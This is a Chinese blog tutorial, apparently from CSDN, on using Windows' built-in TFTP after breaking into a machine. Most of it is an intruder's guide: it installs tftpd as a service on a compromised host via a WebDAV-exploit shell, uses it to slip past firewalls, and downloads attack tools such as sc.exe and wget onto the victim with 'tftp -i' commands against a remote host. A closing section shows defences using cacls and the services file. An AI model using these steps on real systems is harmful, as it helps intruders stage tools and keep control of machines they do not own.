Tftp安装使用全接触

文件传输协议:FTP、TFTP、SFTP和SCP 你好,这里是网络技术联盟站。文件传输协议在计算机网络中扮演着关键的角色,为用户提供了在网络上共享和传输文件的标准化方式。本文将深入介绍四种常见的文件传输协议:FTP、TFTP、SFTP和SCP,探讨它们的工作原理、特点以及在不同场景下的应用。 阅读详情
Tftp安装使用全接触
菜鸟A通过时下比较流行的webdav漏洞进行溢出攻击得到了一个shell,但是在加了管理员帐户后他却发现发现建立了管理员帐户之后却不能ipc$连接,在cmd下又不能开启ipc$,提示启动错误。那么怎么上传文件呢?菜鸟听人说过可以用ftp,但是由于cmd环境下ftp是不能实现交互的,所以这样反而会害了人,输入ftp后,cmd停在那里不动了?菜鸟傻眼了;也有人说是用echo命令写一个从指定ftp下载程序的文件,然后通过ftp –s:file命令来下载,这个通过实践是可行的,但是菜鸟又觉得有点麻烦。怎么办?
这时,一个声音在耳边响起:用tftp吧,给你快乐。Tftp?!@#$^&*,菜鸟想了一会,不得其解。听说过ftp,那tftp又是什么呢?那么今天我就给菜鸟们讲解下它的安装使用过程以及在入侵中的作用和自己的心得体会。
 
一. TFTP简介:
 
Tftp是Trivial File Transfer Protocol的简称,翻译为简单文件传输协议,它是TCP/IP协议族中的一个用来在客户机与服务器之间进行简单文件传输的协议,虽然功能有点少,但是在我们的入侵中帮助还是很大的。
Tftp与Win2K自带的Ftp服务器和目前流行的Serv-u所不同的是Tftp是承载在UDP端口;与Ftp相比,TFTP的大小要小的多;缺陷是它提供的数据流传输服务是不可*的,它不提供存取授权与认证机制,使用超时重传方式来保证数据的到达,使用的是UDP 69端口。但是由于它采用的是UDP端口,很容易摆脱防火墙的限制和IP安全策略对端口的审核,可以在入侵的时候灵活的使用,这也就是我向大家介绍它的原因了。
 
二:TFTP服务的开启:
 
也许你还记得经典的unicode漏洞,利用这个漏洞可以在浏览器里执行命令,可以通过tftp上传idq.dll,然后结合ispc.exe来获取管理员权限。但是你知道tftp服务器不是很容易找的,但是话又说回来了,既然Tftp.exe是微软自带的一个比较可爱的小工具,那么我们就可以利用它来做点事,为肉鸡开启Tftp服务,那就不用愁着找不到tftp服务器了。我们可以在Win2k的Winnt/system32下找到Tftp.exe,还可以在WINNT/system32/dllcache下找到Tftp.exe。当然你可以在命令行下输入:dir %windir%/tftp* /s(表示在%windir%目录所有子目录搜索tftp前缀程序)。我的机子反馈的信息是这样的:
驱动器 C 中的卷没有标签。卷的序列号是 287C-D610
C:/WINNT/system32 的目录
2002-07-22 12:05 17,680 tftp.exe
1 个文件 17,680 字节
C:/WINNT/system32/dllcache 的目录
2002-07-22 12:05 17,680 tftp.exe
2001-08-22 08:00 19,728 tftpd.exe
2 个文件 37,408 字节
大家也看到了,这里出现了一个Tftpd.exe程序,没有错,它是tftp服务器的服务端程序。怎么开启肉鸡的tftp服务呢,双击运行?-install?这里我们需要ResourceKit里的一个工具instsrv.exe把tftp安装为服务,instsrv是命令行下的工具,srvinstw.exe是它的gui版本,看图
 
1:我们来看它的说明:
C:/Longker>instsrv.exe
Installs and removes system services from NT
INSTSRV <service name> (<exe location> | REMOVE) [-a <Account Name>] [-p <Account Password>]
Install service example:
INSTSRV MyService C:/MyDir/DiskService.Exe
-OR-
INSTSRV MyService C:/mailsrv/mailsrv.exe -a MYDOMAIN/joebob -p foo
 
Remove service example:
INSTSRV MyService REMOVE
 
那我们就把tftp安装为服务:
 
C:/Longker>instsrv "Tftp services" c:/winnt/system32/dllcache/tftpd.exe
The service was successfuly added!
Make sure that you go into the Control Panel and use
the Services applet to change the Account Name and
Password that this newly installed service will use
for its Security Context.
 
就这样,我们把tftp服务安装上了,服务名是Tftp services,下面来启动它:
 
C:/Longker>net start "tftp services"
Tftp services 服务正在启动。
Tftp services 服务已经启动成功。
 
OK,服务已经启动成功了,我们可以用fport来查看端口开启的情况:
1524 tftpd -> 69 UDP c:/winnt/system32/dllcache/tftpd.exe
看到了,它是采用UDP协议来进行文件传输的,开启的端口是69。
或者我们可以用以下命令来查询:
C:/Longker >netstat -an |find "69"
netstat -an |find "69"
UDP 202.xx.xx.165:69 *:*
服务启动成功后,会在系统跟目录下生成tftpdroot文件夹,我们上传和提供下载的文件就放在这里。
这里有一个很好的Tftp服务器推荐给大家,有日志记录和目录设定功能,还显示传输进度,最重要的是它是免费的,而且可以在多个平台使用
下载地址http://5ihack.vicp.net:88/down/show.asp?id=219
 
三:如何使用Tftp:
 
TFTP 自带的帮助信息:
TFTP [-i] host [GET | PUT] source [destination]
-i Specifies binary image transfer mode (also called
octet). In binary image mode the file is moved
literally, byte by byte. Use this mode when transferring binary files.
host Specifies the local or remote host.
GET Transfers the file destination on the remote host to
the file source on the local host.
PUT Transfers the file source on the local host to
the file destination on the remote host.
source Specifies the file to transfer.
destination Specifies where to transfer the file.
 
说明:
-i选项是以二进制模式传送文件,很多Exploit代码就需要用这种模式来传送。
Host是开启了tftp服务的主机,可以是本地主机也可以是远程主机。
get就是到当前运行的目录里面下载,而put就是把文件上传到了开了tftp服务的机子。Source是你要上传或者是下载的文件名称。
下面举几个列子:
C:/Longker>tftp -i 202.xx.xx.165 get sc.exe
tftp -i 202.xx.xx.165 get sc.exe
Transfer successful: 63248 bytes in 1 second, 63248 bytes/s
这个是从开了tftp服务的主机下载sc.exe程序,速度不错吧 :)
 
C:/Longker>tftp -i 202.xx.xx.165 put sc.exe
tftp -i 202.xx.xx.165 put sc.exe
Transfer successful: 63248 bytes in 1 second, 63248 bytes/s
上面是把sc.exe上传到tftp服务器。
 
四:相关问题解答:
 
由于tftp是微软自带的,所以我们入侵了一台机子后,可以使用它来上传我们所要用到的工具,而不用下载其他的工具了。那么刚才菜鸟的问题也就迎刃而解了,我们可以用tftp下载我们需要的工具,或者是只用tftp下载wget.exe(一个可以从web服务器下载程序的小型工具),然后用wget下载自己实现准备好的工具包。
前面的问题是解决了,但是或许菜鸟还会遇到些问题,比如要把上传的文件删除的时候却出现了错误提示:拒绝访问!怎么回事?我自己上传的文件却不能删除,太假了。那是因为用tftp上传下载的文件默认是具有只读属性的,所以我们在删除前需要用attrib –R 来去掉它的只读属性。
大家也知道,很多网络蠕虫或黑客攻击程序都尝试通过某种漏洞获得命令行的运行权限,而这些获得权限的过程中,蠕虫往往是通过Windows自带的tftp客户端程序去获取一些需要的攻击程序或后门程序,如nc之类的工具。较新的比如是现在热门的asp木马,也可以利用cmd.asp调用tftp来下载工具,进而获取系统管理员权限。注重安全的读者也许会问,那万一我的机子也被入侵了,怎么了防止入侵者使用tftp呢?我这里介绍两种方法给大家。
1:可以用cacls来限制用户对程序的访问
C:/>cacls
显示或者修改文件的访问控制表(ACL)
 
CACLS filename [/T] [/E] [/C] [/G user:perm] [/R user [...]]
[/P user:perm [...]] [/D user [...]]
filename 显示 ACL。
/T 更改当前目录及其所有子目录中指定文件的 ACL。
/E 编辑 ACL 而不替换。
/C 在出现拒绝访问错误时继续。
/G user:perm 赋予指定用户访问权限。
Perm 可以是: R 读取W 写入C 更改(写入) F 完全控制
/R user 撤销指定用户的访问权限(仅在与 /E 一起使用时合法)。
/P user:perm 替换指定用户的访问权限。
Perm 可以是: N 无R 读取W 写入C 更改(写入) F 完全控制
/D user 拒绝指定用户的访问。
在命令中可以使用通配符指定多个文件。也可以在命令中指定多个用户。
相关帮助信息如上,那我们可以禁止iusr_computername用户对tftp.exe的运行权限。
C:/>cacls c:/winnt/system32/tftp.exe /D iusr_computername
C:/>cacls c:/winnt/system32/dllcache/tftp.exe /D iusr_computername
 
是否确定(Y/N)?y
处理的文件: c:/winnt/system32/tftp.exe
处理的文件: c:/winnt/system32/dllcache/tftp.exe
 
C:/>tftp
拒绝访问。
显然我们达到了我们的目的。类似的我们可以禁止iusr用户对cmd.exe的调用。
2:我们能不能把tftp删除以绝后患呢?不行,因为在WIN2K下,tftp.exe之类的系统关键程序受到Windows File Protection系统的保护,无法直接更改。这里我们介绍另外一种方法,
用文本编辑工具打开%systemroot%/system32/drivers/etc下的service文件找到对应的tftp那一行:
bootps 67/udp dhcps #Bootstrap Protocol Server
bootpc 68/udp dhcpc #Bootstrap Protocol Client
tftp 69/udp #Trivial File Transfer
将 69/udp 替换成 0/udp保存退出。我们再尝试看看能否使用tftp了?
 
怎么样,提示“timeout occurred了吧,也达到了我们的目的了
实战指南:将MediaPipe封装为Windows DLL,实现C++/C#高效调用 在计算机视觉和多媒体处理领域,跨平台框架为开发者提供了强大的算法模型和计算能力。其核心原理在于通过预训练的机器学习模型和优化的计算图,实现对图像、视频流中特定目标(如人脸、手势、姿态)的实时检测与分析。这项技术的价值在于能够将复杂的AI能力模块化,降低应用开发门槛。在实际工程实践中,为了突破特定语言生态的限制并优化部署流程,开发者常需将核心功能封装成独立的库。例如,将Google的MediaPipe框架封装为Windows动态链接库(DLL),就是一个典型的工程实践。此举能有效解决语言壁垒和部署简化问题,使 阅读详情

相关推荐

App inventor2通过蓝牙控制Arduino Uno LED开关

App inventer2控制Arduino Uno LED开关 如果学会这个小程序,大部分的手机通过蓝牙控制Arduino的功能都可以实现,这个小示例是通过蓝牙模块向Arduino发送"0"和"1",而其它功能要发送其它不同的字符串内容给Arduino. 所需硬件: Arduino Uno JDY-16 蓝牙模块(我的是蓝牙4.2版本) 草帽LED(可选) 手机(我用的是安卓,苹果手机应该也可以,最近其应用商店也有App inventor(AI)伴侣) 软件: Aduino IDE或者Platfom

Firmin123456的博客 5499

TFTP命令用法

Tftp 向运行平凡文件传输协议 (TFTP) 服务或 daemon 的远程计算机(尤其是运行 UNIX 的计算机)传输 文件或从运行平凡文件传输协议 (TFTP) 服务或 daemon 的远程计算机(尤其是运行 UNIX 的计算机 )传输文件。 语法 tftp [-i] [Host] [{get | put}] [Source] [Destination] 参数 -i

奔跑的路 3万+

nCode:GlyphWorks案例教程一

nCode GlyphWorks案例一Comparing Frequency Content of Two Different Tests案例文件目标配置选择数据 Comparing Frequency Content of Two Different Tests 在本案例中,我们将比较来自两个不同测试的六个加速计通道的频率内容。将三轴加速度计放置在车辆的左前角和右前角,然后分别在两个不同的试验路面上行驶12分钟以上。 案例文件 此案例的文件(采用nCode DAC格式)位于nCode安装目录下的\demo

追月行的博客 1万+

Linux 下的FTP, TFTP命令

FTP命令是Internet用户使用最频繁的命令之一,不论是在DOS还是LINUX操作系统下使用FTP,都会遇到大量的FTP内部命令。熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。 [root@www ~]# yum install ftp 安装ftp支持 redhat系列版本下命令 [root@www ~]# ftp 输入ftp命令

binggoogle的专栏 1096

Mamba-ST实战:用状态空间模型实现艺术风格迁移的5个关键步骤

本文详细介绍了如何使用Mamba-ST状态空间模型实现高效的艺术风格迁移,涵盖环境配置、数据预处理、模型架构、训练策略和推理优化等5个关键步骤。Mamba-ST基于SSM(状态空间模型)构建,在保持生成质量的同时显著降低计算复杂度,为风格迁移领域提供了新的解决方案。

weixin_29163581的博客 355

virtuoso根据原理图绘制版图并联接_virtuoso画原理图

Virtuoso Schematic Editor 电路仿真一、Virtuoso Schematic Editor 实验目的:掌握电原理图(schematic)设计输入方法。 [1]启动 IC Design 软件 启动 软件: 开机后运行......2.绘制原理图 新建工程后打开的是默认的原理图文件 SCHEMATIC1 PAG...存盘 完成原理图的绘制后,将原理图存盘. 三 . 用 Check...

weixin_33536190的博客 4145

Tftp

 向运行平凡文件传输协议 (TFTP) 服务或 daemon 的远程计算机(尤其是运行 UNIX 的计算机)传输文件或从运行平凡文件传输协议 (TFTP) 服务或 daemon 的远程计算机(尤其是运行 UNIX 的计算机)传输文件。语法tftp [-i] [Host] [{get | put}] [Source] [Destination]参数-i 指定二进制图像传送模式(也

得峰的专栏 [网络收藏] 1005

思科模拟器CIsco Packet Tracer利用三层交换机实现VLAN间路由

版权声明:如果对大家有帮助,大家可以自行转载的。 1.技术原理: 三层交换机具备网络层的功能,实现 VLAN 相互访问的原理是:利用三层交换机的路由功能,通过识别数据包的 IP 地址,查找路由表进行选路转发,三层交换机利用直连路由可以实现不同 VLAN 之间的相互访问。三层交换机给接口配置 IP 地址。采用 SVI(交换虚拟接口)的方式实现 VLAN 间互连。SVI 是指为交换机中的VLAN 创建...

qq_37992321的博客 1万+

tftp命令详解

TFTP协议简介TFTP是用来下载远程文件的最简单网络协议,它其于UDP协议而实现。嵌入式linux的tftp开发环境包括两个方面: 一是linux服务器端的tftp-server支持,二是嵌入式目标系统的tftp-client支持。 因为u-boot本身内置支持tftp-client,所以嵌入式目标系统端就不用配置了。 下面就详细介绍一下linux服务器端tftp-server的配置。本文...

weixin_30788731的博客 797

github创建账号第一步始终出错

github创建账号总结:第一次注册GitHub,填好用户名邮箱密码后进入下一步就卡在哪里,上面还提示Unable to verify your captcha response等,进入网址的解决办法以及下载其他的浏览器也无法解决,用手机浏览器抱着试一试的心态竟然成功了,分享给大家。手机下载谷歌浏览器,进入GitHub正常注册,能向下继续,邮箱验证完以后再用电脑登陆就ok啦

计算机毕业论文源码,学生个人网页制作html源码。贴近用户做网络推广和互联网优化。 4376

基于LED可见光通信的物联网系统设计_344

随着物联网技术的不断发展,传统无线通信在工业环境中面临电磁干扰强、通信质量不稳定等问题。为此,本文设计了一种基于LED可见光通信的物联网系统,实现工厂车间内设备状态的稳定、高效、低干扰数据传输。系统主要由设备节点、设备主机、华为云物联网服务器以及可视化上位机构成。 设备节点采集机器的出货量、运行状态、机身温度等关键信息,通过调制后的LED可见光信号发送至设备主机。主机利用红外接收器接收光信号后进行解调处理,并通过WIFI模块将数据上传至华为云IOT服务器。

344

Linux —— tftp 使用

提示:tftp 命令在 uBoot 系统和 Linux 系统下的使用是不一样的 前言 在 Linux 移植过程或裸机开发中,经常要使用到 tftp 命令,本文围绕该命令相关的网络配置及使用做出记录,本文中,开发电脑命名为上位机,新移植硬件或开发板均称为开发板。 一、使用 tftp 上位机需要如何配置 使用 tftp 命令的上位机系统一般为 Linux 系统,本文以 uBuntu 为事例。 二、开发板上 tftp 的使用 1.uBoot 系统下 $ tftp 0x48000000 shall.bin .

forlorg的专栏 6311

Python3+PCAN-USB基于PCAN-Basic二次开发实现上位机功能

一、环境搭建 1.概述 本文主要是通过Python3与CAN总线工具PCAN-USB基于官方PCAN-Basic库实现CAN总线消息读写功能。 2.PCANBasic.py和PCANBasic.dll下载地址 https://www.peak-system.com/fileadmin/media/files/pcan-basic.zip 3.Python安装 下载地址:https://www.p...

测试领域技术分享 5186

TFTP使用一

1前提有一个服务器 这个可以在自己的机器上开  用 tftpd32.exe 设置开的端口和默认目录  2 tftp 是一个windows自带的工具在那个机器上都好事  3 使用方法(这是在肉鸡上的cmd操作)      Transfers files to and from a remote computer running the TFTP service.    TFTP [-i] host

Briver Song的专栏 1277

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

tftp 命令格式

 Tftp向运行曰常文件传输协议 (TFTP) 服务或守护程序的远程计算机(尤其是运行 UNIX 的计算机)传输或接收文件。如果使用时不带参数,tftp 将显示帮助。语法tftp [-i] [Host] [{get | put}] [Source] [Destination]参数-i指定二进制图像传送模式(也称为八进制模式)。在二进制图像模式下,文件以一个字节为单位进行传输。在传送二进制文件时使用

gc315630的专栏 3494

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

Tftp命令详解

Tftp命令详解   概述:         简单文件传输协议(TFTP)是用来传送文件的Internet软件程序,它使用起来比文件传输协议(FTP)简单,但是功能少。它通常是应用在无需用户鉴别和目录列表的情况下。TFTP使用用户数据报(UDP)而FTP使用传输控制协议(TCP)。TFTP在RFC 1350中进行了描述。 Tftp 将文件传输到正在运行 TFTP 服务的远程计算机

zyw_anquan的专栏 1万+

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

9.tftp命令(转载)

tftp命令(转载)  本文来自:博客频道  地址:http://blog.youkuaiyun.com/tchonggang77/article/details/7478371                                       tftp命令 tftp [-i][Host]              //全:tftp [-v][-m mode] [host [port]] [-

xushaozhang的专栏 533

TFTP功能搭建与使用

一、开启win7 TFTP功能 1、进入控制面板; 2、进入程序和功能; 3、点击打开或关闭Windows功能; 4、在TFTP客户端上打勾; 5、重启计算机。 6、在我的电脑的在地址栏上输入FTP服务器地址,可以正常使用FTP功能了。 扩展资料: TFTP(Trivial File Transfer Protocol,简单文件传输协议)是TCP/IP协议族中的一个用来...

北冥有鱼 的专栏 2853

TFTP协议介绍

TFTP协议介绍TFTP(Trivial File Transfer Protocol)即简单文件传输协议,它是TCP/IP协议族中的一个用来在客户机与服务器之间进行简单文件传输的协议,提供不复杂、开销不大的文件传输服务。TFTP协议是一种非常简单的文件传输协议,只具有FTP的基本功能。它运行在 UDP(用户数据报协议)上,提供不可靠的数据流传输服务,不提供存取授权与认证机制,使用超时重传方式来保

chszs的专栏 5331

在Ubuntu20.10中搭建TFTP服务器

TFTP(Trivial File Transfer Protocol)是用来下载远程文件的最简单的网络协议,它基于UDP协议而实现. 一、安装: sudo apt-get install tftp-hpa #客户端 sudo apt-get install tftpd-hpa #服务端 二、配置: 修改tftpd-hpa相应的配置文件 sudo vi/etc/default/tftpd-hpa 原始的内容如下: #/etc/default/tftpd-hpa TFTP_USER...

lrg的专栏 3040

tftp命令

tftp [-i] [Host]              //全:tftp [-v][-m mode] [host [port]] [-c command] {get | put} [Source] [Destination] 参数 -i 指 定二进制图像传送模式(也称为八进制模式)。在二进制图像模式下,文件以一个字节为单位进行传输。在传送二进制文件时使用该模式。如果省略了 -i

tchonggang77的专栏 1万+

tftp,ftp服务搭建

linux搭建TFTP server及客户端  (2014-04-25 11:46:30)   分类: w~linux 用yum -y install tftp 安装客户端命令 用yum -y install tftp-server 安装TFPT服务器 配置TFPT服务器配置文件 /etc/xinetd.d/tftp serv

星仔的“韵” 2169

window系统使用tftp下载和上传文件

  安装tftp32服务器   首先需要安装tftp服务器:tftpd32 , 下载以后的目录如下:     tftp使用帮助   命令提示符(cmd): 直接运行tftpd32.exe   tftp命令的用法: 关于tftp用法:tftp -i host [get\put] source [destinqtion] -i 二进制文件传...

weixin_34088598的博客 982

TFTP服务器搭建与使用

TFTP作为一个传输文件的简单协议,是基于UDP协议而实现的,但是也不能确定有些TFTP协议是基于其它传输协议完成的。此协议设计的时候是进行小文件传输的,因此它不具备通常的FTP的许多功能,它仅提供简单的文件传输功能,不能列出目录,不进行认证,且传输8位数据,传输由客户端发起。在我们的交叉编译时,就可以用到TFTP协议来从我们的TFTP服务器上来获取我们所需要的编译后的可执行文件,然后在我们的客户端运行。

qq_52836452的博客 7504

Linux系统安装TFTP服务器

本篇文章介绍如何在CentOS7上安装tftp服务器。tftp是TCP/IP协议族中的一个用来在客户机与服务器之间进行简单文件传输的协议,提供不复杂、开销不大的文件传输服务,可用于UDP环境,具有使用灵活和内存占用小的优点。

踏雨歌青春,诗酒趁年华 3207

tftp的安装以及使用

tftp的安装以及使用

neuzhangno的博客 5404
上一篇: bash入门教程
下一篇: 密码破解极限覆盖范围浅析 (ALLyeSNO)
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值